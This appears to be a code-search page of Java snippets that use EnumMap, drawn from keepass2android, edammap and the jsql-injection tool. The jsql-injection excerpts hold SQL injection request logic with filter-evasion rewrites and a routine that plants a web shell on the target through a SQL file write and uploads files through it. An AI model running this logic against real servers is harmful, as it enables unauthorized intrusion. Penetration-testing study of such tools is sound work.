use of java.util.EnumMap in project keepass2android by PhilippC.
the class DecodeHintManager method parseDecodeHints.
static Map<DecodeHintType, ?> parseDecodeHints(Uri inputUri) {
String query = inputUri.getEncodedQuery();
if (query == null || query.isEmpty()) {
return null;
}
// Extract parameters
Map<String, String> parameters = splitQuery(query);
Map<DecodeHintType, Object> hints = new EnumMap<DecodeHintType, Object>(DecodeHintType.class);
for (DecodeHintType hintType : DecodeHintType.values()) {
if (hintType == DecodeHintType.CHARACTER_SET || hintType == DecodeHintType.NEED_RESULT_POINT_CALLBACK || hintType == DecodeHintType.POSSIBLE_FORMATS) {
// This hint is specified in another way
continue;
}
String parameterName = hintType.name();
String parameterText = parameters.get(parameterName);
if (parameterText == null) {
continue;
}
if (hintType.getValueType().equals(Object.class)) {
// This is an unspecified type of hint content. Use the value as is.
// TODO: Can we make a different assumption on this?
hints.put(hintType, parameterText);
continue;
}
if (hintType.getValueType().equals(Void.class)) {
// Void hints are just flags: use the constant specified by DecodeHintType
hints.put(hintType, Boolean.TRUE);
continue;
}
if (hintType.getValueType().equals(String.class)) {
// A string hint: use the decoded value.
hints.put(hintType, parameterText);
continue;
}
if (hintType.getValueType().equals(Boolean.class)) {
// An empty parameter is simply a flag-style parameter, assuming true
if (parameterText.isEmpty()) {
hints.put(hintType, Boolean.TRUE);
} else if ("0".equals(parameterText) || "false".equalsIgnoreCase(parameterText) || "no".equalsIgnoreCase(parameterText)) {
hints.put(hintType, Boolean.FALSE);
} else {
hints.put(hintType, Boolean.TRUE);
}
continue;
}
if (hintType.getValueType().equals(int[].class)) {
// Strip a trailing comma as in Java style array initialisers.
if (!parameterText.isEmpty() && parameterText.charAt(parameterText.length() - 1) == ',') {
parameterText = parameterText.substring(0, parameterText.length() - 1);
}
String[] values = COMMA.split(parameterText);
int[] array = new int[values.length];
for (int i = 0; i < values.length; i++) {
try {
array[i] = Integer.parseInt(values[i]);
} catch (NumberFormatException ignored) {
Log.w(TAG, "Skipping array of integers hint " + hintType + " due to invalid numeric value: '" + values[i] + '\'');
array = null;
break;
}
}
if (array != null) {
hints.put(hintType, array);
}
continue;
}
Log.w(TAG, "Unsupported hint type '" + hintType + "' of type " + hintType.getValueType());
}
Log.i(TAG, "Hints from the URI: " + hints);
return hints;
}
use of java.util.EnumMap in project jsql-injection by ron190.
the class InjectionModel method inject.
/**
* Run a HTTP connection to the web server.
* @param dataInjection SQL query
* @param responseHeader unused
* @return source code of current page
*/
@Override
public String inject(String newDataInjection, boolean isUsingIndex) {
// Temporary url, we go from "select 1,2,3,4..." to "select 1,([complex query]),2...", but keep initial url
String urlInjection = ConnectionUtil.getUrlBase();
String dataInjection = " " + newDataInjection;
urlInjection = this.buildURL(urlInjection, isUsingIndex, dataInjection);
// TODO merge into function
urlInjection = urlInjection.trim().replaceAll("(?s)/\\*.*?\\*/", "").replaceAll("([^\\s\\w])(\\s+)", "$1").replaceAll("(\\s+)([^\\s\\w])", "$2").replaceAll("\\s+", "+");
URL urlObject = null;
try {
urlObject = new URL(urlInjection);
} catch (MalformedURLException e) {
LOGGER.warn("Incorrect Query Url: " + e.getMessage(), e);
return "";
}
// TODO Extract in method
if (!ParameterUtil.getQueryString().isEmpty()) {
// new params from <form> parsing, in that case add the '?' to URL
if (!urlInjection.contains("?")) {
urlInjection += "?";
}
urlInjection += this.buildQuery(MethodInjection.QUERY, ParameterUtil.getQueryStringAsString(), isUsingIndex, dataInjection);
if (ConnectionUtil.getTokenCsrf() != null) {
urlInjection += "&" + ConnectionUtil.getTokenCsrf().getKey() + "=" + ConnectionUtil.getTokenCsrf().getValue();
}
try {
// Evasion
if (this.stepSecurity == 1) {
// Replace character '+'
urlInjection = urlInjection.replaceAll("--\\+", "--").replaceAll("7330%2b1", "7331");
} else if (this.stepSecurity == 2) {
// Change case
urlInjection = urlInjection.replaceAll("union\\+", "uNiOn+").replaceAll("select\\+", "sElEcT+").replaceAll("from\\+", "FrOm+").replaceAll("from\\(", "FrOm(").replaceAll("where\\+", "wHeRe+").replaceAll("([AE])=0x", "$1+lIkE+0x");
} else if (this.stepSecurity == 3) {
// Change Case and Space
urlInjection = urlInjection.replaceAll("union\\+", "uNiOn/**/").replaceAll("select\\+", "sElEcT/**/").replaceAll("from\\+", "FrOm/**/").replaceAll("from\\(", "FrOm(").replaceAll("where\\+", "wHeRe/**/").replaceAll("([AE])=0x", "$1/**/lIkE/**/0x");
urlInjection = urlInjection.replaceAll("--\\+", "--").replaceAll("\\+", "/**/");
}
urlObject = new URL(urlInjection);
} catch (MalformedURLException e) {
LOGGER.warn("Incorrect Evasion Url: " + e.getMessage(), e);
}
} else {
if (ConnectionUtil.getTokenCsrf() != null) {
urlInjection += "?" + ConnectionUtil.getTokenCsrf().getKey() + "=" + ConnectionUtil.getTokenCsrf().getValue();
}
}
HttpURLConnection connection;
String pageSource = "";
// Define the connection
try {
// Block Opening Connection
if (AuthenticationUtil.isKerberos()) {
String kerberosConfiguration = Pattern.compile("(?s)\\{.*").matcher(StringUtils.join(Files.readAllLines(Paths.get(AuthenticationUtil.getPathKerberosLogin()), Charset.defaultCharset()), "")).replaceAll("").trim();
SpnegoHttpURLConnection spnego = new SpnegoHttpURLConnection(kerberosConfiguration);
connection = spnego.connect(urlObject);
} else {
connection = (HttpURLConnection) urlObject.openConnection();
}
connection.setReadTimeout(ConnectionUtil.getTimeout());
connection.setConnectTimeout(ConnectionUtil.getTimeout());
connection.setDefaultUseCaches(false);
connection.setRequestProperty("Pragma", "no-cache");
connection.setRequestProperty("Cache-Control", "no-cache");
connection.setRequestProperty("Expires", "-1");
if (ConnectionUtil.getTokenCsrf() != null) {
connection.setRequestProperty(ConnectionUtil.getTokenCsrf().getKey(), ConnectionUtil.getTokenCsrf().getValue());
}
ConnectionUtil.fixJcifsTimeout(connection);
Map<Header, Object> msgHeader = new EnumMap<>(Header.class);
msgHeader.put(Header.URL, urlInjection);
// TODO Extract in method
if (!ParameterUtil.getHeader().isEmpty()) {
Stream.of(this.buildQuery(MethodInjection.HEADER, ParameterUtil.getHeaderAsString(), isUsingIndex, dataInjection).split("\\\\r\\\\n")).forEach(e -> {
if (e.split(":").length == 2) {
HeaderUtil.sanitizeHeaders(connection, new SimpleEntry<String, String>(e.split(":")[0], e.split(":")[1]));
}
});
msgHeader.put(Header.HEADER, this.buildQuery(MethodInjection.HEADER, ParameterUtil.getHeaderAsString(), isUsingIndex, dataInjection));
}
// TODO Extract in method
if (!ParameterUtil.getRequest().isEmpty() || ConnectionUtil.getTokenCsrf() != null) {
try {
ConnectionUtil.fixCustomRequestMethod(connection, ConnectionUtil.getTypeRequest());
connection.setDoOutput(true);
connection.addRequestProperty("Content-Type", "application/x-www-form-urlencoded");
DataOutputStream dataOut = new DataOutputStream(connection.getOutputStream());
if (ConnectionUtil.getTokenCsrf() != null) {
dataOut.writeBytes(ConnectionUtil.getTokenCsrf().getKey() + "=" + ConnectionUtil.getTokenCsrf().getValue() + "&");
}
if (ConnectionUtil.getTypeRequest().matches("PUT|POST")) {
if (ParameterUtil.getRequestAsText().trim().matches("^<\\?xml.*")) {
dataOut.writeBytes(this.buildQuery(MethodInjection.REQUEST, ParameterUtil.getRequestAsText(), isUsingIndex, dataInjection));
} else {
dataOut.writeBytes(this.buildQuery(MethodInjection.REQUEST, ParameterUtil.getRequestAsString(), isUsingIndex, dataInjection));
}
}
dataOut.flush();
dataOut.close();
if (ParameterUtil.getRequestAsText().trim().matches("^<\\?xml.*")) {
msgHeader.put(Header.POST, this.buildQuery(MethodInjection.REQUEST, ParameterUtil.getRequestAsText(), isUsingIndex, dataInjection));
} else {
msgHeader.put(Header.POST, this.buildQuery(MethodInjection.REQUEST, ParameterUtil.getRequestAsString(), isUsingIndex, dataInjection));
}
} catch (IOException e) {
LOGGER.warn("Error during Request connection: " + e.getMessage(), e);
}
}
msgHeader.put(Header.RESPONSE, HeaderUtil.getHttpHeaders(connection));
try {
pageSource = ConnectionUtil.getSource(connection);
} catch (Exception e) {
LOGGER.error(e, e);
}
// Calling connection.disconnect() is not required, further calls will follow
msgHeader.put(Header.SOURCE, pageSource);
// Inform the view about the log infos
Request request = new Request();
request.setMessage(Interaction.MESSAGE_HEADER);
request.setParameters(msgHeader);
this.sendToViews(request);
} catch (// Exception for General and Spnego Opening Connection
IOException | LoginException | GSSException | PrivilegedActionException e) {
LOGGER.warn("Error during connection: " + e.getMessage(), e);
}
// return the source code of the page
return pageSource;
}
use of java.util.EnumMap in project jsql-injection by ron190.
the class CallableHttpHead method call.
/**
* Call URL to a administration page in HEAD mode and send the result back to view.
*/
@Override
public CallableHttpHead call() throws Exception {
boolean isUrlIncorrect = false;
URL targetUrl = null;
try {
targetUrl = new URL(this.urlAdminPage);
} catch (MalformedURLException e) {
isUrlIncorrect = true;
}
if (RessourceAccess.isSearchAdminStopped() || isUrlIncorrect || "".equals(targetUrl.getHost())) {
LOGGER.warn("Incorrect URL: " + this.urlAdminPage);
return this;
}
HttpURLConnection connection = (HttpURLConnection) targetUrl.openConnection();
connection.setRequestProperty("Pragma", "no-cache");
connection.setRequestProperty("Cache-Control", "no-cache");
connection.setRequestProperty("Expires", "-1");
connection.setRequestMethod("HEAD");
this.responseCodeHttp = ObjectUtils.firstNonNull(connection.getHeaderField(0), "");
Map<Header, Object> msgHeader = new EnumMap<>(Header.class);
msgHeader.put(Header.URL, this.urlAdminPage);
msgHeader.put(Header.POST, "");
msgHeader.put(Header.HEADER, "");
msgHeader.put(Header.RESPONSE, HeaderUtil.getHttpHeaders(connection));
Request request = new Request();
request.setMessage(Interaction.MESSAGE_HEADER);
request.setParameters(msgHeader);
MediatorModel.model().sendToViews(request);
return this;
}
use of java.util.EnumMap in project jsql-injection by ron190.
the class RessourceAccess method uploadFile.
/**
* Upload a file to the server.
* @param pathFile Remote path of the file to upload
* @param urlFile URL of uploaded file
* @param file File to upload
* @throws JSqlException
* @throws IOException
*/
public static void uploadFile(String pathFile, String urlFile, File file) throws JSqlException, IOException {
if (!RessourceAccess.isReadingAllowed()) {
return;
}
String sourceShellToInject = PropertiesUtil.getInstance().getProperties().getProperty("shell.upload").replace(DataAccess.LEAD_IN_SHELL, DataAccess.LEAD);
String pathShellFixed = pathFile;
if (!pathShellFixed.matches(".*/$")) {
pathShellFixed += "/";
}
MediatorModel.model().injectWithoutIndex(MediatorModel.model().getVendor().instance().sqlTextIntoFile("<" + DataAccess.LEAD + ">" + sourceShellToInject + "<" + DataAccess.TRAIL + ">", pathShellFixed + FILENAME_UPLOAD));
String[] sourcePage = { "" };
String sourceShellInjected;
try {
sourceShellInjected = new SuspendableGetRows().run(MediatorModel.model().getVendor().instance().sqlFileRead(pathShellFixed + FILENAME_UPLOAD), sourcePage, false, 1, null);
if ("".equals(sourceShellInjected)) {
throw new JSqlException("Bad payload integrity: Empty payload");
}
} catch (JSqlException e) {
throw new JSqlException("Payload integrity verification failed: " + sourcePage[0].trim().replaceAll("\\n", "\\\\\\n"), e);
}
String urlFileFixed = urlFile;
if ("".equals(urlFileFixed)) {
urlFileFixed = ConnectionUtil.getUrlBase().substring(0, ConnectionUtil.getUrlBase().lastIndexOf('/') + 1);
}
if (sourceShellInjected.indexOf(sourceShellToInject) > -1) {
LOGGER.debug("Upload payload deployed at \"" + urlFileFixed + FILENAME_UPLOAD + "\" in \"" + pathShellFixed + FILENAME_UPLOAD + "\"");
String crLf = "\r\n";
URL urlUploadShell = new URL(urlFileFixed + "/" + FILENAME_UPLOAD);
URLConnection connection = urlUploadShell.openConnection();
connection.setDoOutput(true);
try (InputStream streamToUpload = new FileInputStream(file)) {
byte[] streamData = new byte[streamToUpload.available()];
if (streamToUpload.read(streamData) == -1) {
throw new JSqlException("Error reading the file");
}
String headerForm = "";
headerForm += "-----------------------------4664151417711" + crLf;
headerForm += "Content-Disposition: form-data; name=\"u\"; filename=\"" + file.getName() + "\"" + crLf;
headerForm += "Content-Type: binary/octet-stream" + crLf;
headerForm += crLf;
String headerFile = "";
headerFile += crLf + "-----------------------------4664151417711--" + crLf;
connection.setRequestProperty("Content-Type", "multipart/form-data; boundary=---------------------------4664151417711");
connection.setRequestProperty("Content-Length", String.valueOf(headerForm.length() + headerFile.length() + streamData.length));
try (OutputStream streamOutputFile = connection.getOutputStream()) {
streamOutputFile.write(headerForm.getBytes());
int index = 0;
int size = 1024;
do {
if (index + size > streamData.length) {
size = streamData.length - index;
}
streamOutputFile.write(streamData, index, size);
index += size;
} while (index < streamData.length);
streamOutputFile.write(headerFile.getBytes());
streamOutputFile.flush();
}
try (InputStream streamInputFile = connection.getInputStream()) {
char buff = 512;
int len;
byte[] data = new byte[buff];
StringBuilder result = new StringBuilder();
do {
len = streamInputFile.read(data);
if (len > 0) {
result.append(new String(data, 0, len));
}
} while (len > 0);
if (result.indexOf(DataAccess.LEAD + "y") > -1) {
LOGGER.debug("File \"" + file.getName() + "\" uploaded into \"" + pathShellFixed + "\"");
} else {
LOGGER.warn("Upload file \"" + file.getName() + "\" into \"" + pathShellFixed + "\" failed");
}
Map<Header, Object> msgHeader = new EnumMap<>(Header.class);
msgHeader.put(Header.URL, urlFileFixed);
msgHeader.put(Header.POST, "");
msgHeader.put(Header.HEADER, "");
msgHeader.put(Header.RESPONSE, HeaderUtil.getHttpHeaders(connection));
msgHeader.put(Header.SOURCE, result.toString());
Request request = new Request();
request.setMessage(Interaction.MESSAGE_HEADER);
request.setParameters(msgHeader);
MediatorModel.model().sendToViews(request);
}
}
} else {
throw new JSqlException("Incorrect Upload payload integrity: " + sourcePage[0].trim().replaceAll("\\n", "\\\\\\n"));
}
Request request = new Request();
request.setMessage(Interaction.END_UPLOAD);
MediatorModel.model().sendToViews(request);
}
use of java.util.EnumMap in project edammap by edamontology.
the class Benchmark method calculate.
public static Results calculate(List<Query> queries, List<Mapping> mappings) {
Results results = new Results();
Map<Branch, Long> size = new EnumMap<>(Branch.class);
for (Branch branch : Branch.values()) {
size.put(branch, 0l);
}
for (int i = 0; i < queries.size(); ++i) {
MappingTest mappingTest = new MappingTest();
Query query = queries.get(i);
Mapping mapping = mappings.get(i);
for (Branch branch : mapping.getBranches()) {
long annotationsSize;
if (query.getAnnotations() != null) {
annotationsSize = query.getAnnotations().stream().filter(e -> e.getBranch() == branch).count();
} else {
annotationsSize = 0;
}
if (annotationsSize > 0) {
size.put(branch, size.get(branch) + 1);
}
int tp = 0, fp = 0, fn = 0;
double DCG = 0, IDCG = 0, DCGa = 0, IDCGa = 0;
for (int j = 0; j < mapping.getMatches(branch).size(); ++j) {
Match match = mapping.getMatches(branch).get(j);
if (match.isExistingAnnotation()) {
mappingTest.matches.get(branch).add(new MatchTest(match, Test.tp));
++tp;
double precisionAve = tp / (double) (tp + fp);
results.measures.get(branch).addMeasure(Measure.AveP, precisionAve / (double) annotationsSize);
if (j < annotationsSize) {
results.measures.get(branch).addMeasure(Measure.RP, 1 / (double) annotationsSize);
}
int rel = 1;
if (j == 0) {
DCG += rel;
} else {
DCG += rel / (Math.log(j + 1) / Math.log(2));
}
DCGa += (Math.pow(2, rel) - 1) / (Math.log(j + 1 + 1) / Math.log(2));
} else {
mappingTest.matches.get(branch).add(new MatchTest(match, Test.fp));
++fp;
}
if (annotationsSize > 0) {
int Mrel = ((annotationsSize - j <= 0) ? 0 : 1);
if (j == 0) {
IDCG += Mrel;
} else {
IDCG += Mrel / (Math.log(j + 1) / Math.log(2));
}
IDCGa += (Math.pow(2, Mrel) - 1) / (Math.log(j + 1 + 1) / Math.log(2));
}
}
for (Match excludedAnnotation : mapping.getRemainingAnnotations(branch)) {
mappingTest.matches.get(branch).add(new MatchTest(excludedAnnotation, Test.fn));
++fn;
}
results.measuresTotal.addTest(Test.tp, tp);
results.measuresTotal.addTest(Test.fp, fp);
results.measuresTotal.addTest(Test.fn, fn);
results.measures.get(branch).addTest(Test.tp, tp);
results.measures.get(branch).addTest(Test.fp, fp);
results.measures.get(branch).addTest(Test.fn, fn);
if (annotationsSize > 0) {
double precision = 0;
if (tp > 0 || fp > 0)
precision = tp / (double) (tp + fp);
double recall = tp / (double) (tp + fn);
results.measures.get(branch).addMeasure(Measure.precision, precision);
results.measures.get(branch).addMeasure(Measure.recall, recall);
if (tp > 0) {
results.measures.get(branch).addMeasure(Measure.f1, 2 * (precision * recall) / (precision + recall));
results.measures.get(branch).addMeasure(Measure.f2, (1 + Math.pow(2, 2)) * (precision * recall) / ((Math.pow(2, 2) * precision) + recall));
}
results.measures.get(branch).addMeasure(Measure.Jaccard, tp / (double) (tp + fp + fn));
if (tp > 0 || fp > 0) {
results.measures.get(branch).addMeasure(Measure.DCG, DCG / IDCG);
results.measures.get(branch).addMeasure(Measure.DCGa, DCGa / IDCGa);
}
}
}
results.mappings.add(mappingTest);
}
for (Branch branch : Branch.values()) {
long s = size.get(branch);
if (s == 0)
continue;
for (Measure measure : Measure.values()) {
results.measures.get(branch).divideMeasure(measure, s);
}
}
int branchesSize = 0;
for (Branch branch : Branch.values()) {
if (size.get(branch) == 0)
continue;
++branchesSize;
for (Measure measure : Measure.values()) {
results.measuresTotal.addMeasure(measure, results.measures.get(branch).getMeasure(measure));
}
}
if (branchesSize > 0) {
for (Measure measure : Measure.values()) {
results.measuresTotal.divideMeasure(measure, branchesSize);
}
}
return results;
}
Aggregations